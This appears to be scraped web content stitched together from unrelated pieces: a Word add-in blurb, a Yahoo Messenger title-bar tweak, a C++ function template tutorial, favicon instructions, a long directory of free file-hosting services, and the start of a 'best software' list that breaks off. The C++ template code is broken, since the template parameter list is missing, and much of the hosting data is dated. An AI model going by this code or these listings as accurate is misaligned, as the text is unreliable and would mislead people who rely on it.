It doesn't matter whether you need to find and replace information that is contained inside headers, footers, textboxes, links, hyperlinks, hyperlink addresses, field codes or any other built-in or customized document property, in any folder or sub-folder. Even files marked as read-only can be modified using the special tool.
Need to change your company logo wherever it appears in your documents? No problem. WordPipe will work on a number of file types including .doc, .rtf, .html, .htm, .dot, .txt, .asc, .ans, .wri, .mcw, .wpd, .wps or any custom document type.
WordPipe supports all versions of Microsoft Word except Word 97 and earlier. This add-in runs on Windows 95, 98, ME, NT, 2000, XP and 2003.
Author: Cavyl Stewart.
Here’s how you change the title text that appears at the top of the Messenger window. By default, this is “Yahoo! Messenger”, followed by your status. Simply edit the ymsgr.ini file, which you will find in the same folder as the Messenger program, in your Program Files folder. Locate the file and open it in Notepad. Then, at the end, add the following:
[APP TITLE]
caption=YOUR TEXT
Here, “YOUR TEXT” is whatever you want in the title bar. Save the file and close Messenger. When you restart it you will see your text in the title bar.
C++ Function templates are those functions which can handle different data types without separate code for each of them. For a similar operation on several kinds of data types, a programmer need not write different versions by overloading a function. It is enough if he writes a C++ template based function. This will take care of all the data types.There are two types of templates in C++, viz., function templates and class templates. This article deals with only the function templates.
There are lot of occasions, where we might need to write the same functions
for different data types. A favorite example can be addition of two variables.
The variable can be integer, float or double. The requirement will be to return
the corresponding return type based on the input type. If we start writing one
function for each of the data type, then we will end up with 4 to 5 different
functions, which can be a night mare for maintenance.
C++ templates come to our rescue in such situations. When we use C++ function templates, only one function signature needs to be created. The C++ compiler will automatically generate the required functions for handling the individual data types. This is how a programmer's life is made a lot easier.
C++ Template functions - Details:
Let us assume a small example for Add function. If the requirement is to use this Add function for both integer and float, then two functions are to be created for each of the data type (overloading).
int Add(int a,int b) { return a+b;} // function Without C++ template
float Add(float a, float b) { return a+b;} // function Without C++ template
If there are some more data types to be handled, more functions should be
added.
But if we use a c++ function template, the whole process is reduced to a single
c++ function template. The following will be the code fragment for Add
function.
template
T Add(T a, T b) //C++ function template sample
{
return a+b;
}
This c++ function template definition will be enough. Now when the integer version of the function, the compiler generates an Add function compatible for integer data type and if float is called it generates float type and so on.Here T is the typename. This is dynamically determined by the compiler according to the parameter passed. The keyword class means, the parameter can be of any type. It can even be a class.
C++ Template functions - Applicability:
C++ function templates can be used wherever the same functionality has to be performed with a number of data types. Though very useful, lots of care should be taken to test the C++ template functions during development. A well written c++ template will go a long way in saving time for programmers.
About The Author Muthukumar
Have you ever noticed that when you look at your browser favorites menu or the address bar, some entries have their own little icon beside their URL?
It's called a "Favicon" (a graphic file with a .ico extension) and it's placed in the root directory of the web site. Every time you bookmark a site that has its own favicon.ico file, it is added to your browser, and it will be visible from then on in the favorites menu and in the address bar
At the beginning, only large websites had a favicon, but now you too can create one and use it to brand your website. The first thing you have to do is to create your favicon. To be displayed by browsers, it must have a size of 16x16 pixels. To create one, you can use a graphics program called Icon Forge
You can either create an icon from scratch, or import a 16x16 '.gif' or '.jpg' file and save it as a '.ico' file.
You will then have to save your icon with the default name of 'favicon.ico', and upload it to the root directory of your website (where your index page is). Finally, after that, you must associate your icon to your web page. You do that by including the following HTML code immediately after the HEAD tag of your page:
link REL="SHORTCUT ICON" HREF="http://www.yourwebsite.com/favicon.ico"
Once you've done that, that's it. To try it out, go to your web page and add your page to your favorites. You should be able to see the favicon next to your bookmarked page title. Also, the next time you type your URL in the address bar, you will see your favicon to the left of the URL.
(Favicons work with Internet Explorer 5 or newer, and with recent versions of Netscape.)
BADONGO
QUESTION: How long will my files remain online at badongo.com?
ANSWER: For now there is no file life-limit and only files violating our Terms & Conditions are deleted.
QUESTION: Is there restrictions on the type of content allowed on Badongo?
ANSWER: Yes, please refer to our Terms & Conditions.
http://www.badongo.com/
____________________________
FILEFRONT

* UNLIMITED file downloads.
* UNLIMITED bandwidth.
* UNLIMITED space.
* GIVE the public access to any or all of your files.
* Max file size upload limit: 1GB
Alexa Ranking: 185
http://freespace.filefront.com
____________________________
4SHARED

* 1GB Free Space.
* Maximum upload file size: 50MB
* Minimum transfer speed guaranteed: 100Kbps
* Unlimited bandwidth
* Unlimited access
Files and folders can be shared with anyone, including non- registered users, using a simple web-based link to shared file or folder.
Alexa Ranking: 110
http://www.4shared.com
____________________________
BIGUPLOAD

* Unlimited spame.
* Files are deleted after 30 days if not downloaded.
* Any filetype allowed.
* Download the file again (resume feature) if you lost it or accidentally deleted it.
* The file can't be removed or deleted by anyone but Bigupload or yourself.
For the personal uses it can be home videos, music, mp3's, computer games, songs, cell phone ring tones, computer software, digital camera photos and albums.
Alexa Rank: 6,090
http://www.bigupload.com/
____________________________
FILEFACTORY
* Max file size limit: 300MB
* Any file type allowed
* Only you can delete the files you uploaded
* File deleted after 7 days if noone downloaded it.
* FileFactory lets you host files up to 500MB for free. You don't have to register and
Alexa: 314
http://www.filefactory.com/
____________________________
RAPIDUPLOAD
* File deleted after 30 days if not downloaded.
* No download/upload limits.
* Any file type allowed.Super easy free web hosting on our dedicated servers! We are a new and dedicated web
In their own words: Powered by a network of highly robust dedicated servers. We are a dedicated hosting provider striving to give you the best service possible. Our dedicated servers are located throughout the USA and the world in world class datacenters managed by professionals.
Alexa Ranking: 1,700
http://www.rapidupload.com/
____________________________
SHAREBIGFILE
* File deleted after 30 days if noone downloaded it.
Alexa Rank: 12,000
http://www.sharebigfile.com
____________________________
YOUSENDIT

* File deleted after 7 days if noone downloads it.
* Bandwidth limit per month: 1 GB
* Maximum downloads per file: 100
110MB opinion: Too many limits. Use as last choice.
Alexa Rank: 770
http://www.yousendit.com
____________________________
IMAGESHACK (ONLY FOR IMAGES)

QUESTION:How many images can I upload?
ANSWER: You can upload as many images as you want, as long as each one adheres to the Terms of Service.
QUESTION: Does ImageShack® allow direct linking?
ANSWER: Yes, ImageShack® does allow embedding full-size images into websites and online auctions. However, in order for ImageShack® to continue providing free image hosting, we ask that you use clickable thumbnails whenever possible.
QUESTION: Which image types am I allowed to upload?
ANSWER: You may upload: jpg jpeg png gif bmp tif tiff swf
NOTE: bmp, tif, and tiff images will be converted to .png automatically.
QUESTION: Are there any restrictions to the size of my uploaded images?
ANSWER: Each image you upload must be less than 1.5 megabytes in size. If it is greater than that amount, your image will be resized.
Alexa Rank: 36
http://www.imageshack.us/
____________________________
TinyPic (ONLY FOR VIDEOS & IMAGES. 110MB uses this & fully recommends it!)

* Allowed media files: avi, mov, mpg, asf, wmv, divx, 3gp, 3g2, qt, dv
* Files are never deleted.
* Max file size limit: Unlimited it seems. Doesn't say anywhere actually.
Alexa Rank: 310
http://www.tinypic.com
____________________________
PhotoBucket (ONLY FOR IMAGES)

* Montly Bandwidth: 10GB
* Images larger than 1024x768 pixels will be resized
Alexa Rank: 35
http://www.photobucket.com/
____________________________
PutFile (ONLY FOR AUDIO, IMAGE, VIDEO FILES)

* Audio files allowed (200MB Max file size): .mp3 .mid .wav .midi
* Video files allowed (200MB Max fles size): .wmv .avi .mpg .mpeg .mov .asf .asx .mp4 .3g2
* Flash (200MB Max file size): swf
* Files stay on forever (no inactivity period)
* You can't use this to hotlink directly to your website. They must go to putfile.com to see your file.
Alexa Rank: 1,600
http://www.putfile.com
____________________________
MEGASHARE
* Unlimited downloads/uploads
* Exact same system as RapidShare.
* All file types allowed.
Alexa Rank: 606
http://www.megashare.com
____________________________
UPLOADING

* Files stay on forever (no inactivity period)
* Any file type allowed.
* Exact same system as RapidShare.
Alexa Rank: 445
http://www.uploading.com
____________________________
MEGAUPLOAD

* Unlimited downloads/uploads
* File deleted after 90 days if noone downloaded it.
* All file types allowed.
* Can upload multiple files at once.
Alexa Rank: 15
http://www.megaupload.com
____________________________
RAPIDSHARE

* Max file size limit: 100MB
* Any file type allowed.
Alexa Rank: 12
http://rapidshare.de
____________________________
SPREAD-IT

* File deleted after 14 days if noone downloads it.
* Only you can delete your own files.
Alexa Rank: 66
http://www.spread-it.com
____________________________
____________________________
YET MORE FILE HOSTING SERVICES:
Store and Serve
File Size Limit: 100MB (Free Reg: 250MB)
Download Limit: Unlimited
File Life: 30 Days (Deleted only if there is no download activity in 30 days)
URL: storeandserve.com
BIGfileupload
Status: Temporarily down
File Size Limit: 1111MB
Download Limit: Unlimited
File Life: Unknown
URL: bigfileupload.com
GigaSize
File Size Limit: 1GB (Free Reg: 1.5GB)
Download Limit: Unlimited
File Life: 45 Days, Free Reg: 90 Days (Deleted only if there is no download activity in 45/90 days)
URL: www.gigasize.com
Uploaded
File Size Limit: 250MB
Download Limit: Unlimited
File Life: Unknown
URL: www.uploaded.to
StashBox
File Size Limit: Unlimited
Download Limit: Unlimited
File Life: Indeterminate, but have advertised that no files have had to be deleted yet.
URL: www.stashbox.org
Bonpoo
File Size Limit: 250MB
Download Limit: Unlimited
File Life: 10 Days
URL: www.bonpoo.com
TheUpload
File Size Limit: 200MB
Download Limit: Unlimited
File Life: 3 Months
URL: www.theupload.com
zSHARE
File Size Limit: 100MB
Download Limit: Unlimited
File Life: 10 Days (Deleted only if there is no download activity in 10 days)
URL: zshare.net
mooload
File Size Limit: 500MB
Download Limit: Unlimited
File Life: 30 Days (Deleted only if there is no download activity in 30 days)
URL: www.mooload.com
Bigupload
File Size Limit: 300MB
Download Limit: Unlimited
File Life: 30 Days (Deleted only if there is no download activity in 30 days)
URL: www.bigupload.com
YouSendIt
File Size Limit: 100MB
Download Limit: 100 Downloads
File Life: 7 Days
URL: www.yousendit.com
TransferBigFiles
File Size Limit: 1GB
Download Limit: 20 Downloads
File Life: 5 Days
URL: www.transferbigfiles.com
zUpload
File Size Limit: 500MB
Download Limit: Unlimited
File Life: 30 Days (Deleted only if there is no download activity in 30 days)
URL: www.zupload.com
Uploadline
File Size Limit: 500 MB
Download Limit: Unlimited
File Life: 30 Days (Deleted if no activity in 30 days)
URL: www.uploadline.com
divShare
File Size Limit: Appears to be none
Download Limit: Unlimited
File Life: Unlimited
URL: www.divshare.com
GigaSize
File Size Limit: 300 MB
Download Limit: Unlimited
File Life: 45 days
URL: www.gigasize.com
Share Server
file size: 50MB
Wait time: 4secs
Captcha: No
speed: unrestricted
Spanning: allowed
filetypes: all
URL: www.shareserver.net
file size: 300MB
Storage Space: 15GB
Bandwidth daily: 1GB, Monthly: 30GB
Wait time: No. Direct hotlinking to files on server.
BOXstr.com
file size: 1GB
Storage Space: 5GB
Bandwidth daily: 1GB per day, Monthly: NO limit.
Wait time: No. Direct hotlinking to files on server.
Max folders you can have in your account: 50
URL: http://boxstr.com
110mb says: Recommended!
4 Shared
25 MB per file, 500 MB storage space,
account expires after 30 days without a log-in
http://www.4shared.com/faq.jsp
11 MBit
40 MB, 45 days, no partial files, i.e. no multi-part archives
http://www.11MBit.in
35 MB
35 MB online storage space
http://www.35mb.com/help.html
100Uploads
100mb max file size, deleted after 30 days inactivity.
http://www.hotlinkfiles.com/
[ A ]
All Files
http://www.AllFiles.ru/cgi-bin/ldspgen20.pl?id=1&lang=en
All my Data
- different concept -
http://www.AllMyData.com/storageplans.php
Anywhere
50 MB storage space, 15 downloads per day,
the free account expires after two weeks
http://www.AnywhereEnterprises.com/info
Aqache
60 MB per file
http://up.Aqache.com/?act=upload
At Gig
15 MB file size, 1 GB storage space, 100 MB bw/month
http://www.AtGig.com
Axi File by AxiFo
150 MB per file, FTP upload
http://www.AxiFile.com
[ B ]
Bad Ongo
1 GB per file, no expiration time limit
http://www.BaDonGo.com/index.php?page=faq&s=
Best Sharing
125 MB, deleted after 45 days without a request
http://www.BestSharing.com
Big File Upload
1 GB max. file size, hosted until the cows come home
http://www.BigFileUpload.com
Big Filez
50 MB file size, 14 days grace period for inactivity
http://www.BigFilez.com
Big Upload
2 GB per file, deleted after 30 days without download
http://www.BigUpload.com
Bon Poo
250 MB file size, expiring after 10 days of inactivity
http://www.BonPoo.com
Box
10 MB per file, 1 GB storage space,
http://www.Box.net/info/pricing-plans
BOXSTr
75 MB per file, can upload 99% of the extensions, ANONYMOUS usage option (20mb filesize limit),
http://boxstr.com/index.php
[ C ]
CMS07
5Mb max upload, unlimited files, unlimited bandwidth, unlimited downloads.
http://upload.cms07.org
Come 2 Store
10 MB, signup e-mail can be fake, many options, 30 days
http://www.Come2store.com/faq.php
Content Type
100 MB file size, grace period for inactive files is 7 days
http://www.Content-Type.com/frequently_asked_questions.htm
Craze Files
50 MB, expiration after 1000 downloads or 30 days
http://www.CrazeFiles.com/faq.php
CyberUpload
500 MB, 14 days, does not work with download managers
http://www.CyberUpload.com
[ D ]
Dark Share
50 MB per file
http://DarkShare.com
Datenklo
100 MB per file, deletion after 60 days of inactivity
http://www.Datenklo.net
Deposit Files
1 GB file size, 4.7 GB for registered users,
expiration after 90 days without download
http://DepositFiles.com/en/faq.html
Divshare
Files stay forever, unlimited downloads, unlimited uploads, no ad's.
http://www.divshare.com
Dosya Ekle
350 MB per file, which are kept until the cows come home
http://www.DosyaEkle.com/detayli.php
Drop Load
100 MB, removed after 7 days, active or not
http://www.DropLoad.com
Drop Send
5 File sendings per month, 250 MB storage space
http://www.DropSend.com
[ E ]
Easy Sharing
75 MB per file, deleted 30 days after the last download
http://www.Easy-Sharing.com
EC Pocket
200 MB web storage space
http://www.ecPocket.com
Ego Share
100 file size, 30 days expiration period
http://www.EgoShare.com/advanced.php
Egg Disk
6 gb space, 30 GB bandwidth, 150 MB max filesize, zip upload, public; hidden or private sharing.
http://www.eggdisk.com
e-Snips
5 GB file storage space
http://www.eSnips.com/support/faq.jsp
Exa Upload
75 MB file size
http://www.eXaUpload.com
Extreme Share
50 MB per file, killed after a month without interest
http://ExtremeShare.net/?p=h
[ F ]
Faster Upload
250 MB max. file size
http://www.FasterUpload.com
Flyupload
2Gb max upload, unlimited files, share videos, audio and photos.
http://www.flyupload.com
File 2 Share
150 MB per file, 21 days expiration period
http://www.File2Share.biz/index.php?page=faq
File Buffer
50 MB file size, inactivity threshold 7 days
http://www.FileBuffer.net
File Bull
22 MB file size, 1 GB storage space, 3 GB bandwidth
http://www.FileBull.com
File Cache
250 MB file size, deleted when no download occurs for 30 days
http://www.FileCache.de/upload
File Cloud
25 MB total storage space
http://www.FileCloud.com/support/
http://www.FileCloud.com/help.php
File Den
50 MB file size after free registration
http://www.FileDen.com/account.php?action=register
http://www.FileDen.com/account.php?action=login
File Department
50 MB per file, deleted after 10 days without a download
100 MB and 30 days after a free registration
http://www.FileDepartment.com/freeshare/index.php
File Factory
500 MB, three connections per IP, 15 days
http://www.FileFactory.com
File Forge
350 MB per file
http://www.F-Forge.com
File Forwarding
10 MB max. file size, deletion after 30 days w/o customer
http://www.FileForwarding.com/us_faq.php
File Front
1 GB per file, no expiration period, additional features
http://freespace.FileFront.com
File Gig
1 GB per upload operation
http://www.FileGig.com/upload.php
File Gone
25 MB file size, kept for 100 days before erasure
post files on http://www.Unbase.com if you wish
http://www.FileGone.com
File HD
500 MB multiple parallel upload, picture gallery, 30 days
http://www.FileHD.com/upload.php
http://www.FileHD.com/faq.php
File Ho!
Ads free, all filetypes, no size limit, high speed!
http://www.fileho.com
File Host
100 MB per file
http://www.FileHost.ro
File Lodge
50 MB max. file size, kept for all eternity
http://www.FileLodge.com/faq.php
File Point
100 MB file size
http://en.FilePoint.de
http://www.FilePoint.de
File Space
50 MB file size, cut loose after 2 weeks without wind
http://www.FileSpace.net
Files To
100 MB per file, deleted after 30 days of inactivity
http://www.Files.to
Files Upload
Upload limit: Unlimited!, 300 MB per file via HTTP, 1 Gb per file via FTP, Files lifetime up to 6 months after last download
http://files-upload.com/
File UL
100 MB and unlimited hosting period after free registration
http://www.FileUL.com/faq.php
Files Upload
unlimited uploads, 300 MB per file via HTTP Splitted archives, 1 Gb per file via FTP Splitted archives, deletion of files 6 months after last download.
http://www.FilesUpload.com
File Up Yours
100 MB storage space, 25 days between account log-ins, no file type limits
http://www.FileUpYours.com/faq.php
File Wire
250 MB per file
http://www.FileWire.com/index.php?action=FAQ
Flip Drive
25 MB online storage space
http://www.FlipDrive.com/?faq
Forever Safe
150 MB per file, 10 GB storage, 150 MB bandwidth/month
special features like music streaming et al.
http://ForeverSafe.com/pricing.htm
Free
1 GB file size, but only 24 h to get it (beta phase)
http://dl.Free.fr
Free Filespace
25 MB, 14 days. No .RAR files! For other formats see FAQ.
http://www.FreeFileSpace.net/index.php?page=faq
Free File Upload
50 MB per file, kept for a month without anybody leeching
http://www.FreeFileUpload.net
Free Transfer
10 MB file size, every file is deleted after one week
http://www.Free-Transfer.de
Free Uploader
5 MB per file
http://www.FreeUploader.com
Freewebtown
2GB Storage size, 2GB BW
http://freewebtown.com
Friendly Share
50 MB, uses "Download Credits" for Premium system, 30 days
http://www.FriendlyShare.de
Fupload
500 MB file size, deletion occurs after 7 days
http://www.Fupload.com/faq.html
[ G ]
G Free
7 MB per file, 250 MB storage space
http://www.gfree.de
Get File
50 MB/1 GB, 14 days, free advanced upload mode: 1 GB, FTP, ...
http://www.GetFile.biz/upload/
Gigeshare
2 GB, 90 days storage, folder/file management, share list with seperate password
http://www.gigeshare.com
GigaSize
1,5 GB, 90 days storage, filemanager, agenda/addressbook import
http://www.GigaSize.com
[ H ]
Hackz
20 MB max. file size, cleaned out after 30 lazy days
http://www.Hackz.nu
Hemen Paylas
250 MB per file
http://www.HemenPaylas.com
Hotlink Files
50mb upload, 1000mb space, 8000mb bandwidth, hotlinking allowed!
http://www.hotlinkfiles.com
Host Filez
150 MB max. file size, kept for 30 days after last request
http://www.HostFilez.com/pages.php?page=faq
Hot File
100 MB file size, deleted after 7 days if nobody wants it
http://www.HotFile.ru
HyperUpload
10 MB per file, no limits on duration
http://www.HyperUpload.com
[ I ]
iBackup and iDrive
This is a more professional solution starting at $20
http://www.iDrive.com
iFolder
100 MB per file,
http://iFolder.ru/auth/register/
iHud
50 MB; files/accounts removed upon "excessive usage".
http://www.ihud.com
Imagecave
10MB space, 1GB monthly bandwidth, direct linking, automatic resizing
http://www.imagecave.com
[ J ]
Jumbo File
100 MB file size, 10 days expiration period
http://www.JumboFile.com/popup.php?page=faq
Just up it
120 MB max. file size
http://www.JustUpIt.com
[ K ]
Keep my File
20 MB per file
http://www.KeepMyFile.com/nav/faq
[ L ]
Load.to
50 MB file size, slow server, two weeks expiration period
http://www.Load.to/faq.php
Load Up
1001 MB per file
http://0o0o.0o0o0o0o.43.dr.ag/up/loadup.aspx/mirror
http://LoadUp.dr.ag
[ M ]
Ma Clé USB
20 MB per file, 128 MB storage space
http://www.maCleUSB.net
Mail Big File
1 GB file size, expiring after 3 downloads or 7 days
http://www.MailBigFile.com/about/
MastiUploader
Upload Unlimited, File Limit 5 mb, Files Lifetime 1 year
http://www.mastiuploader.com
MediaFire
Unlimited diskspace, 110mb filelimit, no sign up, all file types.
http://www.mediafire.com
Mega Share
50 MB per file, kept for 30 days after last request
http://www.MegaShare.com/faq.php
Mega Shares
1.5 GB file size, expiration period 25 days
http://www.MegaShares.com/faq.php
Mega Upload
250 MB, 30 days, lifetime Premium service costs $99 US
http://www.MegaUpload.com/faq/
Minor Crisis
1000 MB Bandwidth daily, 50MB file size, Direct link mp3
http://www.minorcrisis.net/
Mo File
50 MB file size, expiring 3 days after upload;
accounts expire after 30 days without log-in
http://www.MoFile.com/help/en/index.do?lang=en
Momo Share
25 MB maximum, .zip only, deleted two 15 days after last download
http://www.MomoShare.com
Mooload
500 MB per file, deletion occurs 30 days after last download
http://www.Mooload.com
Multi Upload
100 MB maximum file size
http://MU.dr.ag
http://www.MultipleUpload.dr.ag
My Docs Online
Storage space instead of size per file, 14 days free trial
http://www.MyDocsOnline.com/features.html
My File Hut
50 MB per File, 250 MB storage space, 10 GB bw/month, 30 days
http://www.myFileHut.com/faqs.php
My File Stash
25 MB storage space, 2 GB monthly bandwidth
http://www.myFileStash.com/double_offer_sp...age_hosting.php
My Free Gig
UNLIMITED file uploads, file downloads, bandwidth, space, 300 mb maxim file size, No Expiration Limit, direct link
http://www.myfreegig.com/
My Share Box
100 MB file size, deleted if no download occurs for 30 days
http://www.myShareBox.com/faq.php
My Share File
150 MB file size, expiration period = 30 days of inactivity
http://www.myShareFile.com
My Temp Directory
30 MB per file, deleted 14 days after last download
http://www.myTempDir.com
My Upload
100 MB file size, deletion after two weeks of inactivity
http://myUpload.biz/faq.ht
[ N ]
Nakido
99GB per file limit, Unlimited Upload & Download FREE, We keep your Files Forever FREE
http://www.nakido.com
[ O ]
Openomy
1 GB storage space
http://openomy.com
Open Upload
100 MB max. file size
http://www.OpenUpload.com
Orbit Files
30 MB, more when using Hercules Uploader
http://www.OrbitFiles.com/faq
OSCDN
100 MB file size, erased after 30 days of lacking interest
http://oscdn.com/?action=plans&type=free
Oxy Share
700 MB per file, deleted after 30 days without a download request
Works directly with download managers, but only one stream at a time
http://www.OxyShare.com/catalog/
http://www.OxyShare.com/faq.html
Oxedion
No upload limit, No download limit, No IP storage, Full speed up to 20,000 KB/sec per download
http://www.oxedion.com
[ P ]
Partage Facile
100 MB max. file size
http://www.Partage-Facile.com
Picturepush
Max 75MB, 50GB space, jpg, jpeg, png, gif, wmv, avi, mpeg, mpg, mpe, mov, NO DELETION, Anonymous usage.
http://www.PicturePush.com
Plunder
30 MB per file, registration without verification of e-mail
http://www.Plunder.com
Push File
100 MB file size
http://www.PushFile.net
Put Fwd
1 GB storage space, 5 GB bw/month
http://www.putFwd.com/index/features
[ Q ]
Quick Dump
100 MB per file, deleted 30 days after the last download
http://www.QuickDump.com/other.php?faq
Quick Sharing
500mb, deleted after 30 days inactive, Unlimited downloads,
http://www.quicksharing.com/
[ R ]
Rapid File
100 MB per file
http://www.RapidShare.fr
http://RapidFile.fr
Rapid Share
100 MB; 80 min. waiting period between files bigger than 5 MB, 30 days
Premium membership costs € 79 EUR/year, no lifetime plan available
http://khongbiet.com/rs/? ?<= place this directly before links
http://RapidShare.de/en/faq.html
Rapid Sharing
200 MB per file, deletion executed after 14 days of inactivity
http://www.RapidSharing.com
Rapid Upload
300 MB per file, deleted 30 days after the last download
http://www.RapidUpload.com/faq.php
Rec File
50 MB file size
http://www.RecFile.com
http://www.RecFiles.com
Refrozen
20 MB per file
http://www.Refrozen.com/faq.php
Rip Way
30 MB file size but only 15 MB bw/day, 30 days
http://www.RipWay.com/features.asp
[ S ]
Save File
60 MB per file, deleted after 30 days without download
http://www.SaveFile.com/faq.html
Save Files
250 MB file size
http://www.SaveFiles.net
Scene Upload
100 MB per file, expiring after 1000 downloads or 50 days
http://SceneUpload.net
Send File
5 MB max. file size, deletion after 10 days of inactivity
http://www.Send-File.co.uk
Send it Anywhere
1 GB file size, deleted after 25 downloads or 7 days
http://SenditAnywhere.com/sendit/about.jsp
Send Me File
50 MB per file, deleted after 14 days without download
http://www.SendMeFile.com/faq.htm
Send Over
2 GB max. file size, 7 days expiration period
http://www.SendOver.com
Send Space
1.2 GB, download bandwidth limit = 50 GB per file or 14 days
=> a 100 MB file can be downloaded 510 times
Download managers and multiple downloads supported
http://www.SendSpace.com/faqs.html
Send this File
2 GB per file, removed after 3 downloads or 3 days
http://www.SendThisFile.com/info/info.jsp#service
Sex Uploader
500 MB per file, 90 days, MU's site for hot contents
http://www.SexUploader.com/faq/
Share 2 Net
100 MB file size, 300 MB bandwidth per day
http://www.Share2net.com
Share AM
250 MB max. file size, 60 days expiration period
http://www.Share.am
Share Big File
300 MB, files purged after a month if nobody wants them
http://www.ShareBigFile.com
Share UA
60 MB per file, kept for 90 days after the last request
http://www.ShareUA.com
Simple Upload
100 MB per file, 180 days (6 months) expiration period
http://www.SimpleUpload.de
Skickafilen
2 GB max. file size, deleted one week after the last download
http://www.Skickafilen.se/help.jsp
http://Skickafilen.se
Slil
50 MB file size, supports 'resume', 30 days
http://www.Slil.ru
Snaggy's
2 GB per file, deleted after 25 downloads or 7 days
http://www.Snaggys.com
Snapdrive
2GB space, no registration, 20mb max file upload.
http://www.SnapDrive.com
Spb Land
50 MB per file, kept for 50 quiet days at the most
http://up.SpbLand.ru
Speed Share
250 MB per upload, files are kept for six months
http://www.SpeedShare.org/faq.php
Speedy Share
28 MB file size, deletion after 7 days of inactivity
http://www.SpeedyShare.com
Spread it
500 MB per file, deleted after 14 days without download
http://www.Spread-it.com
Storage Friend
250 MB file size, 1 GB storage space, 1 GB bw/month
http://www.StorageFriend.com/docs/faq.html
Store and Serve
100 MB per file, one month expiration period
http://StoreAndServe.com
Streamload
25 GB storage space, 100 MB bw/month, streaming of media files
http://www.StreamLoad.com
Strong Space
- not free, but affordable SFTP hosting and NO bw restrictions -
http://www.StrongSpace.com/faqs
http://www.StrongSpace.com/plans
Super Uploader
100 MB file size and one year grace period for slow movers
http://www.Super-Uploader.net
Supload
200 MB per file, deleted after 30 downloads or 7 days
http://sUpload.com/sendfile
[ T ]
The Upload
200 MB file size, expiring 3 months after last download
http://www.TheUpload.com/faq.php
Thin File
A tool to facilitate file uploads,
100 MB max. file size for trial version.
http://upload.ThinFile.com/docs/faq.php
Tiny Load
Max File Size: 300mb, Unlimited Bandwidth, Unlimited Downloads, No Expiration Limit, No Sign-Ups Required
http://www.tinyload.com
Tiny Pic (RECOMMENDED BY 110MB ADMIN!)
Imagehost, no registration needed, hotlinking allowed!
http://www.tinypic.com
Transfer Big Files
1 GB per file, links are valid for 5 days or 20 downloads
http://www.TransferBigFiles.com
Turbo Share
80 MB file size, 100 days expiration period
http://TurboShare.de/faq.php
Turbo Upload
70 MB per file, no deletion even after long periods
http://www.TurboUpload.com
[ U ]
Ultra Share
250 MB per file, erased after 30 days of inactivity
http://www.UltraShare.net
Up/Download Server
250 MB file size
http://www.UpDownloadServer.de
http://www.UpDownloadServer.com
Up File
1 GB per file
http://www.Up-File.com
Up Filigo
50 MB per file, deletion after 50 downloads or 7 days
http://www.UpFiligo.com
Up Li Ru
32 MB file size, deleted if more than 5 downloads in 24 h
http://up.li.ru
Upload 2 Com
250 MB, free registration
http://www.Upload2.com/?cmd=_faq&s=file-upload
Upload 2 Net
25 MB, exp. 1 year, 2 downloads per server, strict rules
http://www.Upload2.net/faq.php
http://Upload2.net/multiple_upl.php
Upload Dump
30 MB; no expiration/kept forever, direct hotlinking allowed
http://www.UploadDump.nl
Upload File
20 MB per file
http://UploadFile.org
Upload Galaxy
100 MB max. file size, 30 days expiration period
http://www.UploadGalaxy.com
Upload Hut
50 MB per file, erased when nobody wants it during a month
http://www.UploadHut.com/faq.php
Uploading
300 MB max. file size, expiration period is 30 days
http://www.Uploading.com/faq.php
10GB space, 50GB monthly bandwith, 750MB max file size, Direct link
http://www.uploadingit
Upload Port
500 MB per file
http://www.UploadPort.com
Upload Power
100mb file size.
http://www.uploadpower.com
Upload SC
100 MB max. file size, stored for one month
http://www.Upload.sc/faq
Upload Send
50 MB per file, inactive files are deleted after 30 days
http://www.UploadSend.com
Upload Spy
75 MB maximum file size
http://www.UploadSpy.com
Upload Temple
30 MB maximum file size, three weeks expiration period
http://www.UploadTemple.com/faq.php
Upload Your Files
200 MB per file, 512 kB per picture, no multi-part archives!
Deletion after 30 days of inactivity
http://www.UploadYourFiles.de
U Share It
50 MB per file, 14 days
http://www.uShareIt.com
[ V ]
Verzend
1 GB per file, 7 days expiration period for inactive files
http://www.Verzend.be
VIP Loader
15 max./5 MB min. file size, files directly accessible (hotlinking)
http://up.VIPloader.net
VIP NetSurf
- different concept for those who lose their patience with MU and RS -
http://VIP.netsurf.ru/browse/?r=158225
Viraldownload
50 mb max upload, deleted after 30 days inactivity, 5 minute break between every upload
http://www.viraldownload.com
[ W ]
Web File
20 MB; max. 20 files with a total of 50 MB per IP address, 7 days
free registration => 60 MB total, easier management
http://www.Webfile.ru
http://Webfile.ru
http://eng.Webfile.ru/help.php
Web File Host
500 MB per file, deletion takes place 30 days after last download
http://www.WebFileHost.com/?mode=faq
Woofiles
1GB free space
http://www.woofiles.com/
[ X ]
Xdrive
5000 MB $99 or 50 GB for $399 p.a., 14 days free Trial
http://www.FreeDrive.com
http://www.Xdrive.com
[ Y ]
Yahoo Briefcase
30 MB storage space, log-in to account once per month
http://briefcase.Yahoo.com
Your File .net
1 MB only, but unlimited time and other interesting options
http://www.FileHosting.org
http://YourFile.net
Your File .org
50 MB per file, deleted 30 days after the last download
http://www.YourFile.org/help.php
Your File Host
30 MB per file, deletion after 14 days of inactivity
http://www.YourFileHost.com/oldupload.php
Your File Link
50 MB per file, deleted 30 days after the last download
http://www.YourFileLink.com/faq.php
You Send It
1 GB; files are deleted after 7 days or 25 downloads
https://www.YouSendIt.com
[ Z ]
Zalil
50 MB per file, eliminated if nobody cares for a month
http://www.Slil.ru
http://Zalil.ru
Zingee
- different concept -
http://www.Zingee.com/whatiszingee.aspx
Z Share
100 MB per file, deleted if not downloaded for more than 10 days
http://zShare.net/FAQ/
Z Upload
500 MB per file, inactivity period 30 days
http://www.zUpload.com/faq.php
----Internet----
----Security----
----Digital Imaging----
----Multimedia----
----Computer Tools----
----Desktop----
Best Browser
Firefox hands down is my favorite browser, being safer than IE and highly customizable. Automatic updates, faster browsing, better pop-up blocking, tabbed browsing, an integrated search bar, and live bookmarks are just some features of this browser. Another popular browser is Opera which includes many of the same features as Firefox.
FireFox
Opera
Best BitTorrent Client
Azureus is a java bittorrent client offering multiple torrent downloads, queuing/priority systems (on torrents and files), start/stop seeding options and instant access to numerous pieces of information about your torrents. Azureus now features an embedded tracker easily set up and ready to use. uTorrent is a lightweight (Very) and efficient BitTorrent client that includes bandwidth prioritization, scheduling, RSS auto-downloading and Mainline DHT.
Azureus
uTorrent
Best Multi Platform File Transfer Utility
Shareaza is a great program that connect to 4 P2P networks, EDonkey2000, Gnutella, BitTorrent and Gnutella2 (G2).
Shareaza
Best IP Blacklist/Blocker
